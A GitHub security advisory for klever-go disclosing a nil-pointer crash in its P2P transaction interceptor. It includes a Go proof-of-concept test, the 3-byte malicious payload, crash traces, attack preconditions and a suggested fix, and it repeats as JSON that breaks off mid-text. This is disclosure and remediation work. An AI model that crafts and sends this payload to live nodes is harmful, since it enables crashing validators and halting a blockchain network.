GHSA-RM5C-5X2P-48WR

Vulnerability from github – Published: 2026-06-05 16:42 – Updated: 2026-06-09 18:40
VLAI
Summary
Klever-Go KVM: Unauthenticated remote node crash (nil-pointer DoS) in klever-go P2P transaction interceptor (txVersionChecker nil RawData) - potential chain halt
Details

Summary

Every transaction gossiped on the klever-go P2P network is decoded and validated synchronously inside the libp2p pubsub topic-validator callback. The validator txVersionChecker.CheckTxVersion dereferences tx.RawData.Version with no nil check. A protobuf Transaction whose embedded RawData sub-message is omitted decodes to RawData == nil, so validating it triggers a nil-pointer panic.

The libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and klever's own network/p2p layer install no recover(), so the panic propagates and crashes the entire node process. The attacker payload is a 3-byte protobuf message; no validator key, stake, funds, or on-chain account is required. Aimed at enough of the BLS validator set, repeated delivery halts block production (chain halt).

Affected component

  • Root cause: core/versioning/txVersionChecker.go:22
  • Reached via: core/process/transaction/interceptedTransaction.go:203 (integrity) and :154 (CheckValidity)
  • Production tx-topic path: core/process/interceptors/multiDataInterceptor.go:171 and :223
  • Unprotected caller: network/p2p/libp2p/netMessenger.go pubsubCallback (no recover)
  • Topic wiring: core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go (createOneTxInterceptor)

Details

Synchronous validation path, no recovery at any frame:

libp2p pubsubCallback                              network/p2p/libp2p/netMessenger.go  (no recover)
 -> MultiDataInterceptor.ProcessReceivedMessage    core/process/interceptors/multiDataInterceptor.go:171
   -> interceptedData(...)                          core/process/interceptors/multiDataInterceptor.go:223
     -> InterceptedTransaction.CheckValidity         core/process/transaction/interceptedTransaction.go:154
       -> integrity()                                core/process/transaction/interceptedTransaction.go:203
         -> txVersionChecker.CheckTxVersion(tx)      core/versioning/txVersionChecker.go:22   <-- nil deref

Root cause (core/versioning/txVersionChecker.go):

func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
    if tx.RawData.Version < tvc.minTxVersion {   // tx.RawData is nil -> panic
        return process.ErrInvalidTransactionVersion
    }
    return nil
}

integrity() calls CheckTxVersion as its very first statement, before any RawData nil-check, and CheckValidity() runs before the whitelist / originator- election gate in the interceptor, so node-role and whitelist restrictions do not protect this path.

Preconditions

  • Attacker runs an ordinary libp2p peer reachable to the target via normal peering / kad-dht discovery on the transactions gossip topic.
  • Production runs with withMessageSigning = true, which only requires the gossip message to be signed by the attacker's OWN libp2p peer key (a self-generated identity; NOT a validator key, NOT funded, NOT authorized).
  • No special config or feature flag; the tx interceptor is built unconditionally and subscribes to transactions on every node.

Impact

  • Deterministic, immediate crash of any targeted node (validator, sentry, or observer) from a single ~3-byte message.
  • Gossipsub validates before relaying, so the victim does not forward the crashing message; the attacker delivers it directly to each target (one tiny message/node).
  • With auto-restart (systemd), re-sending sustains the outage.
  • Directed at > 1/3 of the BLS validator set, this prevents consensus and halts the chain.
  • NOTE: the HTTP POST /transaction/send path is NOT crash-exploitable - the REST server uses gin.Default() (Recovery middleware) and returns HTTP 500. The exploitable vector is the P2P interceptor.

Exploit cost / attack complexity

  • Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).
  • Complexity: LOW. Unauthenticated, remote, deterministic.

PoC-Source

Scenario - Build the malicious transaction as it appears on the wire: a protobuf Transaction with RawData omitted (plus a throwaway Signature so the batch entry looks like a real tx). With the production proto marshalizer this encodes to 3 bytes (12 01 78) and round-trips back to RawData == nil. - Feed it through the REAL production interceptors. The transactions gossip topic is served by a MultiDataInterceptor (baseInterceptorsContainerFactory.go, createOneTxInterceptor); the test wraps the tx in a Batch exactly like a bulk-tx gossip message and calls ProcessReceivedMessage, which is precisely what the panic-free libp2p pubsubCallback invokes in production. A second test drives the generic SingleDataInterceptor to show the bug is in the shared validation chain. - The data factory is a faithful copy of the production interceptedTxDataFactory.Create: it builds a genuine *InterceptedTransaction. No validation behavior is stubbed; only leaf crypto/marshal helpers use the repo's own in-tree mocks. The panic occurs on the first line of integrity(), upstream of any mock.

How to run 1. git clone https://github.com/klever-io/klever-go && cd klever-go (Go toolchain matching go.mod go 1.25.7; verified locally on go1.26.3.) 2. Save the source below as core/process/interceptors/poc_nil_rawdata_dos_test.go. 3. Run either (separately - the first panic aborts the test binary): - Production tx-topic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v - Generic path: go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v - Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

Full PoC source (poc_nil_rawdata_dos_test.go):

// Target component:    klever-go P2P transaction interceptor (network availability)
//                      core/process/transaction/interceptedTransaction.go
//                      core/versioning/txVersionChecker.go:22
// Vulnerability type:  Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)
//                      CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.
//
// Summary:
//   Every gossiped transaction is decoded and validated synchronously inside the
//   libp2p pubsub topic-validator callback
//   (network/p2p/libp2p/netMessenger.go -> pubsubCallback). That callback has NO
//   recover(). The validation chain is:
//
//       (Multi|Single)DataInterceptor.ProcessReceivedMessage
//         -> InterceptedTransaction.CheckValidity
//           -> integrity()
//             -> txVersionChecker.CheckTxVersion(tx)   // tx.RawData.Version  <-- nil deref
//
//   CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf
//   Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),
//   so an unauthenticated peer can broadcast a few bytes that panic the validation
//   goroutine and crash the entire node process. Repeating it against the validator
//   set halts consensus.
//
// How to run:
//   1) git clone https://github.com/klever-io/klever-go && cd klever-go
//   2) cp <this file> core/process/interceptors/poc_nil_rawdata_dos_test.go
//   3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v
//
// Expected output:
//   The test process aborts with:
//     panic: runtime error: invalid memory address or nil pointer dereference
//     ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22
//     ... InterceptedTransaction.integrity ... -> CheckValidity
//     ... (Multi|Single)DataInterceptor.ProcessReceivedMessage
//   i.e. the crash originates from the interceptor's synchronous message-handling frame,
//   exactly where the panic-free libp2p pubsub callback would call it in production.
//
// Dependencies: none beyond the repo's own go.mod (uses in-repo mocks only).

package interceptors_test

import (
    "testing"

    "github.com/klever-io/klever-go/common/mock"
    "github.com/klever-io/klever-go/core"
    "github.com/klever-io/klever-go/core/process"
    "github.com/klever-io/klever-go/core/process/interceptors"
    txproc "github.com/klever-io/klever-go/core/process/transaction"
    "github.com/klever-io/klever-go/core/throttler"
    "github.com/klever-io/klever-go/core/versioning"
    cryptoMock "github.com/klever-io/klever-go/crypto/mock"
    "github.com/klever-io/klever-go/data/batch"
    dataTransaction "github.com/klever-io/klever-go/data/transaction"
)

// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData
// field is omitted. This is the entire attacker payload.
func buildMaliciousTxBytes(t *testing.T) []byte {
    m := &mock.ProtoMarshalizerMock{}
    maliciousTx := &dataTransaction.Transaction{ /* RawData: nil */ }
    buff, err := m.Marshal(maliciousTx)
    if err != nil {
        t.Fatalf("marshal malicious tx: %v", err)
    }
    return buff
}

// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:
// it builds a genuine *InterceptedTransaction from the received bytes. No validation
// behavior is stubbed; only leaf crypto/marshal helpers use the repo's standard mocks.
type pocTxFactory struct{}

func (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {
    m := &mock.ProtoMarshalizerMock{}
    return txproc.NewInterceptedTransaction(&txproc.InterceptedTransactionArgs{
        TxBuff:                 buff,
        ProtoMarshalizer:       m,
        SignMarshalizer:        m,
        Hasher:                 mock.HasherMock{},
        KeyGen:                 &cryptoMock.SingleSignKeyGenMock{},
        Signer:                 &cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},
        PubkeyConv:             &mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},
        WhiteListerVerifiedTxs: &mock.WhiteListHandlerStub{},
        ChainID:                []byte("chainID"),
        TxSignHasher:           mock.HasherMock{},
        FeeHandler: &mock.FeeHandlerStub{
            CheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {
                return &dataTransaction.CostResponse{}, nil
            },
        },
        TxVersionChecker: versioning.NewTxVersionChecker(0),
        ForkController:   &mock.ForkControllerStub{},
    })
}
func (pocTxFactory) IsInterfaceNil() bool { return false }

// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the
// "transactions" gossip topic, which is served by a MultiDataInterceptor (see
// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,
// func createOneTxInterceptor).
func TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {
    protoMarsh := &mock.ProtoMarshalizerMock{}

    // Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.
    b := &batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}
    batchBytes, err := protoMarsh.Marshal(b)
    if err != nil {
        t.Fatalf("marshal batch: %v", err)
    }

    th, _ := throttler.NewNumGoRoutinesThrottler(5)
    mdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{
        Topic:            "transactions",
        Marshalizer:      protoMarsh,
        DataFactory:      pocTxFactory{},
        Processor:        &mock.InterceptorProcessorStub{},
        Throttler:        th,
        AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
        WhiteListRequest: &mock.WhiteListHandlerStub{},
        CurrentPeerID:    core.PeerID("self"),
    })
    if err != nil {
        t.Fatalf("build interceptor: %v", err)
    }

    msg := &mock.P2PMessageMock{
        DataField:  batchBytes,
        TopicField: "transactions",
        PeerField:  core.PeerID("attacker"),
    }

    // In production this is called by the libp2p pubsub callback, which has no recover().
    // The nil-pointer panic therefore propagates and crashes the node process.
    _ = mdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))

    // Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).
    t.Log("no panic: node survived -> NOT vulnerable")
}

// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic
// single-item interceptor path, demonstrating the bug is in the shared validation
// chain, not in one interceptor variant.
func TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {
    th, _ := throttler.NewNumGoRoutinesThrottler(5)
    sdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{
        Topic:            "transactions",
        DataFactory:      pocTxFactory{},
        Processor:        &mock.InterceptorProcessorStub{},
        Throttler:        th,
        AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
        WhiteListRequest: &mock.WhiteListHandlerStub{},
        CurrentPeerID:    core.PeerID("self"),
    })
    if err != nil {
        t.Fatalf("build interceptor: %v", err)
    }

    msg := &mock.P2PMessageMock{
        DataField:  buildMaliciousTxBytes(t),
        TopicField: "transactions",
        PeerField:  core.PeerID("attacker"),
    }

    _ = sdi.ProcessReceivedMessage(msg, core.PeerID("attacker"))
    t.Log("no panic: node survived -> NOT vulnerable")
}

PoC-Results

Result A - production MultiDataInterceptor (the transactions gossip topic):

$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v
=== RUN   TestPoC_NilRawData_MultiDataInterceptor
--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]

goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
        .../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
        .../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
        .../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).interceptedData(...)
        .../core/process/interceptors/multiDataInterceptor.go:223 +0x9c
github.com/klever-io/klever-go/core/process/interceptors.(*MultiDataInterceptor).ProcessReceivedMessage(...)
        .../core/process/interceptors/multiDataInterceptor.go:171 +0x7ca
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_MultiDataInterceptor(...)
        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:135 +0x3ef
FAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s
FAIL

Result B - generic SingleDataInterceptor (same root cause via the shared chain):

$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v
=== RUN   TestPoC_NilRawData_SingleDataInterceptor
--- FAIL: TestPoC_NilRawData_SingleDataInterceptor (0.00s)
panic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]
[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]

goroutine 8 [running]:
panic({0x888c00?, 0xd54d60?})
        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a
github.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)
        .../core/versioning/txVersionChecker.go:22 +0x4
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)
        .../core/process/transaction/interceptedTransaction.go:203 +0x31
github.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)
        .../core/process/transaction/interceptedTransaction.go:154 +0x13
github.com/klever-io/klever-go/core/process/interceptors.(*SingleDataInterceptor).ProcessReceivedMessage(...)
        .../core/process/interceptors/singleDataInterceptor.go:118 +0x12e
github.com/klever-io/klever-go/core/process/interceptors_test.TestPoC_NilRawData_SingleDataInterceptor(...)
        .../core/process/interceptors/poc_nil_rawdata_dos_test.go:165 +0x2b1
FAIL    github.com/klever-io/klever-go/core/process/interceptors    0.005s
FAIL

Interpretation - Both runs abort the process with SIGSEGV originating at txVersionChecker.go:22 (tx.RawData.Version), reached through the real interceptor's synchronous ProcessReceivedMessage frame - the exact frame the recover-free libp2p pubsub callback executes in production. A recover()-less crash here = full node process exit. - Round-trip check (production tools/marshal.ProtoMarshalizer): the malicious tx is 3 bytes 12 01 78 and decodes to RawData == nil, confirming the trigger is a valid, attacker-craftable wire message (not a malformed blob rejected earlier).

Suggested fix

Primary (root cause) - make CheckTxVersion nil-safe / reject RawData == nil early:

func (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {
    if tx == nil || tx.RawData == nil {
        return process.ErrInvalidTransactionVersion
    }
    if tx.RawData.Version < tvc.minTxVersion {
        return process.ErrInvalidTransactionVersion
    }
    return nil
}

Returning a sentinel error here is already handled by the interceptors (they blacklist peers that send wrong-version transactions).

Defense-in-depth: - Wrap the synchronous body of pubsubCallback (and/or ProcessReceivedMessage) in a recover() so a single malformed message can never abort the process. - Audit the other direct inTx.tx.RawData.* dereferences in interceptedTransaction.go (chainID/sender/contract/nonce/fee getters) for the same nil-input class.

Duplicate check (vs published advisories)

Checked against the 3 published advisories (GHSA-jc6w-wmfc-fh33 / CVE-2026-46403, GHSA-87m7-qffr-542v / CVE-2026-44697, GHSA-74m6-4hjp-7226). This is NOT a duplicate: different root cause (nil RawData deref vs gzip OOM / throttler accounting / VM read-only isolation); the advisory texts never mention RawData, CheckTxVersion, txVersionChecker, or any nil/NULL deref. Those three advisories' fixes are already present in the reviewed tree, yet txVersionChecker.go:22 remains unpatched. It is adjacent in impact class (P2P interceptor DoS) to 87m7 / 74m6, referenced here for context.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.7.17"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.14"
            },
            {
              "fixed": "1.7.18"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52878"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:42:38Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nEvery transaction gossiped on the klever-go P2P network is decoded and validated\nsynchronously inside the libp2p pubsub topic-validator callback. The validator\n`txVersionChecker.CheckTxVersion` dereferences `tx.RawData.Version` with no nil\ncheck. A protobuf `Transaction` whose embedded `RawData` sub-message is omitted\ndecodes to `RawData == nil`, so validating it triggers a nil-pointer panic.\n\nThe libp2p pubsub callback, the underlying go-libp2p-pubsub validation worker, and\nklever\u0027s own `network/p2p` layer install no `recover()`, so the panic propagates and\ncrashes the entire node process. The attacker payload is a 3-byte protobuf message;\nno validator key, stake, funds, or on-chain account is required. Aimed at enough of\nthe BLS validator set, repeated delivery halts block production (chain halt).\n\n## Affected component\n- Root cause: `core/versioning/txVersionChecker.go:22`\n- Reached via: `core/process/transaction/interceptedTransaction.go:203` (integrity) and `:154` (CheckValidity)\n- Production tx-topic path: `core/process/interceptors/multiDataInterceptor.go:171` and `:223`\n- Unprotected caller: `network/p2p/libp2p/netMessenger.go` `pubsubCallback` (no recover)\n- Topic wiring: `core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go` (`createOneTxInterceptor`)\n\n## Details\nSynchronous validation path, no recovery at any frame:\n\n```\nlibp2p pubsubCallback                              network/p2p/libp2p/netMessenger.go  (no recover)\n -\u003e MultiDataInterceptor.ProcessReceivedMessage    core/process/interceptors/multiDataInterceptor.go:171\n   -\u003e interceptedData(...)                          core/process/interceptors/multiDataInterceptor.go:223\n     -\u003e InterceptedTransaction.CheckValidity         core/process/transaction/interceptedTransaction.go:154\n       -\u003e integrity()                                core/process/transaction/interceptedTransaction.go:203\n         -\u003e txVersionChecker.CheckTxVersion(tx)      core/versioning/txVersionChecker.go:22   \u003c-- nil deref\n```\n\nRoot cause (`core/versioning/txVersionChecker.go`):\n```go\nfunc (tvc *txVersionChecker) CheckTxVersion(tx *transaction.Transaction) error {\n\tif tx.RawData.Version \u003c tvc.minTxVersion {   // tx.RawData is nil -\u003e panic\n\t\treturn process.ErrInvalidTransactionVersion\n\t}\n\treturn nil\n}\n```\n\n`integrity()` calls `CheckTxVersion` as its very first statement, before any\n`RawData` nil-check, and `CheckValidity()` runs before the whitelist / originator-\nelection gate in the interceptor, so node-role and whitelist restrictions do not\nprotect this path.\n\n## Preconditions\n- Attacker runs an ordinary libp2p peer reachable to the target via normal peering /\n  kad-dht discovery on the `transactions` gossip topic.\n- Production runs with `withMessageSigning = true`, which only requires the gossip\n  message to be signed by the attacker\u0027s OWN libp2p peer key (a self-generated\n  identity; NOT a validator key, NOT funded, NOT authorized).\n- No special config or feature flag; the tx interceptor is built unconditionally and\n  subscribes to `transactions` on every node.\n\n## Impact\n- Deterministic, immediate crash of any targeted node (validator, sentry, or\n  observer) from a single ~3-byte message.\n- Gossipsub validates before relaying, so the victim does not forward the crashing\n  message; the attacker delivers it directly to each target (one tiny message/node).\n- With auto-restart (systemd), re-sending sustains the outage.\n- Directed at \u003e 1/3 of the BLS validator set, this prevents consensus and halts the chain.\n- NOTE: the HTTP `POST /transaction/send` path is NOT crash-exploitable - the REST\n  server uses `gin.Default()` (Recovery middleware) and returns HTTP 500. The\n  exploitable vector is the P2P interceptor.\n\n## Exploit cost / attack complexity\n- Cost: negligible (one self-signed libp2p peer; 3-byte payload; no gas/capital).\n- Complexity: LOW. Unauthenticated, remote, deterministic.\n\n## PoC-Source\n\nScenario\n- Build the malicious transaction as it appears on the wire: a protobuf `Transaction`\n  with `RawData` omitted (plus a throwaway `Signature` so the batch entry looks like a\n  real tx). With the production proto marshalizer this encodes to 3 bytes\n  (`12 01 78`) and round-trips back to `RawData == nil`.\n- Feed it through the REAL production interceptors. The `transactions` gossip topic is\n  served by a `MultiDataInterceptor` (`baseInterceptorsContainerFactory.go`,\n  `createOneTxInterceptor`); the test wraps the tx in a `Batch` exactly like a bulk-tx\n  gossip message and calls `ProcessReceivedMessage`, which is precisely what the\n  panic-free libp2p `pubsubCallback` invokes in production. A second test drives the\n  generic `SingleDataInterceptor` to show the bug is in the shared validation chain.\n- The data factory is a faithful copy of the production `interceptedTxDataFactory.Create`:\n  it builds a genuine `*InterceptedTransaction`. No validation behavior is stubbed;\n  only leaf crypto/marshal helpers use the repo\u0027s own in-tree mocks. The panic occurs\n  on the first line of `integrity()`, upstream of any mock.\n\nHow to run\n1. `git clone https://github.com/klever-io/klever-go \u0026\u0026 cd klever-go`\n   (Go toolchain matching go.mod `go 1.25.7`; verified locally on go1.26.3.)\n2. Save the source below as `core/process/interceptors/poc_nil_rawdata_dos_test.go`.\n3. Run either (separately - the first panic aborts the test binary):\n   - Production tx-topic path: `go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v`\n   - Generic path:            `go test ./core/process/interceptors/ -run TestPoC_NilRawData_SingleDataInterceptor -v`\n- Dependencies: none beyond the repo\u0027s own go.mod (uses in-repo mocks only).\n\nFull PoC source (`poc_nil_rawdata_dos_test.go`):\n\n```go\n// Target component:    klever-go P2P transaction interceptor (network availability)\n//                      core/process/transaction/interceptedTransaction.go\n//                      core/versioning/txVersionChecker.go:22\n// Vulnerability type:  Unauthenticated remote Denial-of-Service (nil-pointer panic / chain-wide node crash)\n//                      CWE-476 (NULL Pointer Dereference) reached from untrusted P2P input.\n//\n// Summary:\n//   Every gossiped transaction is decoded and validated synchronously inside the\n//   libp2p pubsub topic-validator callback\n//   (network/p2p/libp2p/netMessenger.go -\u003e pubsubCallback). That callback has NO\n//   recover(). The validation chain is:\n//\n//       (Multi|Single)DataInterceptor.ProcessReceivedMessage\n//         -\u003e InterceptedTransaction.CheckValidity\n//           -\u003e integrity()\n//             -\u003e txVersionChecker.CheckTxVersion(tx)   // tx.RawData.Version  \u003c-- nil deref\n//\n//   CheckTxVersion dereferences tx.RawData.Version with no nil guard. A protobuf\n//   Transaction whose embedded RawData message is omitted unmarshals fine (RawData==nil),\n//   so an unauthenticated peer can broadcast a few bytes that panic the validation\n//   goroutine and crash the entire node process. Repeating it against the validator\n//   set halts consensus.\n//\n// How to run:\n//   1) git clone https://github.com/klever-io/klever-go \u0026\u0026 cd klever-go\n//   2) cp \u003cthis file\u003e core/process/interceptors/poc_nil_rawdata_dos_test.go\n//   3) go test ./core/process/interceptors/ -run TestPoC_NilRawData -v\n//\n// Expected output:\n//   The test process aborts with:\n//     panic: runtime error: invalid memory address or nil pointer dereference\n//     ... core/versioning.(*txVersionChecker).CheckTxVersion ... txVersionChecker.go:22\n//     ... InterceptedTransaction.integrity ... -\u003e CheckValidity\n//     ... (Multi|Single)DataInterceptor.ProcessReceivedMessage\n//   i.e. the crash originates from the interceptor\u0027s synchronous message-handling frame,\n//   exactly where the panic-free libp2p pubsub callback would call it in production.\n//\n// Dependencies: none beyond the repo\u0027s own go.mod (uses in-repo mocks only).\n\npackage interceptors_test\n\nimport (\n\t\"testing\"\n\n\t\"github.com/klever-io/klever-go/common/mock\"\n\t\"github.com/klever-io/klever-go/core\"\n\t\"github.com/klever-io/klever-go/core/process\"\n\t\"github.com/klever-io/klever-go/core/process/interceptors\"\n\ttxproc \"github.com/klever-io/klever-go/core/process/transaction\"\n\t\"github.com/klever-io/klever-go/core/throttler\"\n\t\"github.com/klever-io/klever-go/core/versioning\"\n\tcryptoMock \"github.com/klever-io/klever-go/crypto/mock\"\n\t\"github.com/klever-io/klever-go/data/batch\"\n\tdataTransaction \"github.com/klever-io/klever-go/data/transaction\"\n)\n\n// buildMaliciousTxBytes returns the proto wire-bytes of a Transaction whose RawData\n// field is omitted. This is the entire attacker payload.\nfunc buildMaliciousTxBytes(t *testing.T) []byte {\n\tm := \u0026mock.ProtoMarshalizerMock{}\n\tmaliciousTx := \u0026dataTransaction.Transaction{ /* RawData: nil */ }\n\tbuff, err := m.Marshal(maliciousTx)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal malicious tx: %v\", err)\n\t}\n\treturn buff\n}\n\n// pocTxFactory is a faithful copy of the production interceptedTxDataFactory.Create:\n// it builds a genuine *InterceptedTransaction from the received bytes. No validation\n// behavior is stubbed; only leaf crypto/marshal helpers use the repo\u0027s standard mocks.\ntype pocTxFactory struct{}\n\nfunc (pocTxFactory) Create(buff []byte) (process.InterceptedData, error) {\n\tm := \u0026mock.ProtoMarshalizerMock{}\n\treturn txproc.NewInterceptedTransaction(\u0026txproc.InterceptedTransactionArgs{\n\t\tTxBuff:                 buff,\n\t\tProtoMarshalizer:       m,\n\t\tSignMarshalizer:        m,\n\t\tHasher:                 mock.HasherMock{},\n\t\tKeyGen:                 \u0026cryptoMock.SingleSignKeyGenMock{},\n\t\tSigner:                 \u0026cryptoMock.SignerMock{SigSizeStub: func() int { return 64 }},\n\t\tPubkeyConv:             \u0026mock.PubkeyConverterStub{LenCalled: func() int { return 32 }},\n\t\tWhiteListerVerifiedTxs: \u0026mock.WhiteListHandlerStub{},\n\t\tChainID:                []byte(\"chainID\"),\n\t\tTxSignHasher:           mock.HasherMock{},\n\t\tFeeHandler: \u0026mock.FeeHandlerStub{\n\t\t\tCheckValidityTxValuesCalled: func(tx process.TransactionWithFeeHandler) (*dataTransaction.CostResponse, error) {\n\t\t\t\treturn \u0026dataTransaction.CostResponse{}, nil\n\t\t\t},\n\t\t},\n\t\tTxVersionChecker: versioning.NewTxVersionChecker(0),\n\t\tForkController:   \u0026mock.ForkControllerStub{},\n\t})\n}\nfunc (pocTxFactory) IsInterfaceNil() bool { return false }\n\n// TestPoC_NilRawData_MultiDataInterceptor exercises the EXACT production path for the\n// \"transactions\" gossip topic, which is served by a MultiDataInterceptor (see\n// core/process/factory/interceptorscontainer/baseInterceptorsContainerFactory.go,\n// func createOneTxInterceptor).\nfunc TestPoC_NilRawData_MultiDataInterceptor(t *testing.T) {\n\tprotoMarsh := \u0026mock.ProtoMarshalizerMock{}\n\n\t// Wrap the single malicious tx in a Batch, exactly like a bulk-tx gossip message.\n\tb := \u0026batch.Batch{Data: [][]byte{buildMaliciousTxBytes(t)}}\n\tbatchBytes, err := protoMarsh.Marshal(b)\n\tif err != nil {\n\t\tt.Fatalf(\"marshal batch: %v\", err)\n\t}\n\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tmdi, err := interceptors.NewMultiDataInterceptor(interceptors.ArgMultiDataInterceptor{\n\t\tTopic:            \"transactions\",\n\t\tMarshalizer:      protoMarsh,\n\t\tDataFactory:      pocTxFactory{},\n\t\tProcessor:        \u0026mock.InterceptorProcessorStub{},\n\t\tThrottler:        th,\n\t\tAntifloodHandler: \u0026mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: \u0026mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID:    core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := \u0026mock.P2PMessageMock{\n\t\tDataField:  batchBytes,\n\t\tTopicField: \"transactions\",\n\t\tPeerField:  core.PeerID(\"attacker\"),\n\t}\n\n\t// In production this is called by the libp2p pubsub callback, which has no recover().\n\t// The nil-pointer panic therefore propagates and crashes the node process.\n\t_ = mdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\n\t// Only reached if the bug is fixed (CheckTxVersion guards a nil RawData).\n\tt.Log(\"no panic: node survived -\u003e NOT vulnerable\")\n}\n\n// TestPoC_NilRawData_SingleDataInterceptor shows the same crash via the generic\n// single-item interceptor path, demonstrating the bug is in the shared validation\n// chain, not in one interceptor variant.\nfunc TestPoC_NilRawData_SingleDataInterceptor(t *testing.T) {\n\tth, _ := throttler.NewNumGoRoutinesThrottler(5)\n\tsdi, err := interceptors.NewSingleDataInterceptor(interceptors.ArgSingleDataInterceptor{\n\t\tTopic:            \"transactions\",\n\t\tDataFactory:      pocTxFactory{},\n\t\tProcessor:        \u0026mock.InterceptorProcessorStub{},\n\t\tThrottler:        th,\n\t\tAntifloodHandler: \u0026mock.P2PAntifloodHandlerStub{},\n\t\tWhiteListRequest: \u0026mock.WhiteListHandlerStub{},\n\t\tCurrentPeerID:    core.PeerID(\"self\"),\n\t})\n\tif err != nil {\n\t\tt.Fatalf(\"build interceptor: %v\", err)\n\t}\n\n\tmsg := \u0026mock.P2PMessageMock{\n\t\tDataField:  buildMaliciousTxBytes(t),\n\t\tTopicField: \"transactions\",\n\t\tPeerField:  core.PeerID(\"attacker\"),\n\t}\n\n\t_ = sdi.ProcessReceivedMessage(msg, core.PeerID(\"attacker\"))\n\tt.Log(\"no panic: node survived -\u003e NOT vulnerable\")\n}\n```\n\n## PoC-Results\n\nResult A - production `MultiDataInterceptor` (the `transactions` gossip topic):\n```\n$ go test ./core/process/interceptors/ -run TestPoC_NilRawData_MultiDataInterceptor -v\n=== RUN   TestPoC_NilRawData_MultiDataInterceptor\n--- FAIL: TestPoC_NilRawData_MultiDataInterceptor (0.00s)\npanic: runtime error: invalid memory address or nil pointer dereference [recovered, repanicked]\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x70 pc=0x7b7be4]\n\ngoroutine 8 [running]:\npanic({0x888c00?, 0xd54d60?})\n        /usr/lib/go-1.26/src/runtime/panic.go:860 +0x13a\ngithub.com/klever-io/klever-go/core/versioning.(*txVersionChecker).CheckTxVersion(0x7?, 0x7?)\n        .../core/versioning/txVersionChecker.go:22 +0x4\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).integrity(...)\n        .../core/process/transaction/interceptedTransaction.go:203 +0x31\ngithub.com/klever-io/klever-go/core/process/transaction.(*InterceptedTransaction).CheckValidity(...)\n        